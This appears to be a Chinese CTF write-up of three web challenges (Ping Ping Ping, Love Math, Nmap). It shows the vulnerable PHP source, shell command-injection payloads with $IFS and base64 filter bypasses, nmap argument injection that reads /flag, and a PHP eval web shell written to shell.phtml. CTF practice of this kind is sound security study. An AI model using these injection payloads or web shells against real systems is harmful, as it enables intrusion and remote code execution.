当时应该是没做出来,还是蛮难的
[GXYCTF2019]Ping Ping Ping
提示给了ping ip,直接猜命令执行拼接,试了一下
127.0.0.1;ls
发现是可以的,接下来就是cat flag.php,发现有过滤:
Linux表示空格有几种方法:
%20(space)
、%09(tab)
- 使用
<
或者<>
来绕过空格cat<a.txt
- 花括号扩展{OS_COMMAND,ARGUMENT}
{cat,/etc/passwd}
- $IFS 空格绕过
$IFS$9
${IFS}
- 变量控制
X=$'cat\x09./flag.php
这里也稍微学习了一下$IFS
是什么。
$IFS
为内部域分隔符,在默认情况下可以表示空格,也可以自定义为换行符、Tab或者其他奇怪的符号。通常有这几种利用的方式:
$ cat$IFSflag.php #false Linux无法区分系统变量名
$ cat${IFS}flag.php #true 加上{}起到固定变量名的作用
$ cat$IFS$9flag.php #true $9为当前系统shell进程的第九个参数的持有者,其始终为字符串
这里绕过方式:
$ cat$IFS$9flag.php
然后发现flag被过滤了,但是index.php没有被过滤,利用命令执行读取index.php源码:
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
这里经过严格的过滤,我到这里真的歇逼了,跑去翻大神的wp。
方式一:内联执行
a=f;d=ag;c=l;cat$IFS$a$c$d.php
利用字符串拼接,调换一下字符顺序,绕过过滤。
方式二:sh,bash下编码
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
利用base64绕过过滤。
参考
http://chen.oinsm.com/2020/01/10/GXYCTF-2019-%E5%A4%8D%E7%8E%B0/
https://blog.csdn.net/qq_42812036/article/details/104297163
http://pupiles.com/shellcode.html
[CISCN 2019 初赛]Love Math
源码:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
经观察两层WAF,其中数学函数是主要的利用对象。
https://www.cnblogs.com/20175211lyz/p/11588219.html
[网鼎杯 2020 朱雀组]Nmap
康康源码:
index.php
<?
require('settings.php');
set_time_limit(0);
if (isset($_POST['host'])):
if (!defined('WEB_SCANS')) {
die('Web scans disabled');
}
$host = $_POST['host'];
if(stripos($host,'php')!==false){
die("Hacker...");
}
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$filename = substr(md5(time() . rand(1, 10)), 0, 5);
$command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;
$result_scan = shell_exec($command);
if (is_null($result_scan)) {
die('Something went wrong');
} else {
header('Location: result.php?f=' . $filename);
}
else:
?>
settings.php:
<?
# Path where all files stored
# Example values: /home/node/results/
# Or just: xml/
# Must be readble/writable for web server! so chmod 777 xml/
define('RESULTS_PATH', 'xml/');
# Nmap string arguments for web scanning
# Example: -sV -Pn
define('NMAP_ARGS', '-Pn -T4 -F --host-timeout 1000ms');
# Comment this line to disable web scans
define('WEB_SCANS', 'enable');
# URL of application
# for example: http://example.com/scanner/
# Or just: /scanner/
define('APP_URL', '/');
# Secret word to protect webface (reserved)
# Uncomment to set it!
# define('secret_word', 'passw0rd1337');
?>
对nmap这个指令也不熟,还是看了wp写了做的。
主要语句:
$command = "nmap ". NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host;
$result_scan = shell_exec($command);
带入之后相当于:
$ nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/$filename $host
方法一:直接读flag写入文件
- -iL:从文件中加载目标
- -oN:将扫描后的文件信息以“Normal”的形式输出存储
' -iL /flag -oN flag.txt '
访问flag.txt
方法二:一句话木马绕过php过滤
'<?=eval($_GET[oatmeal]);?> -oN shell.phtml '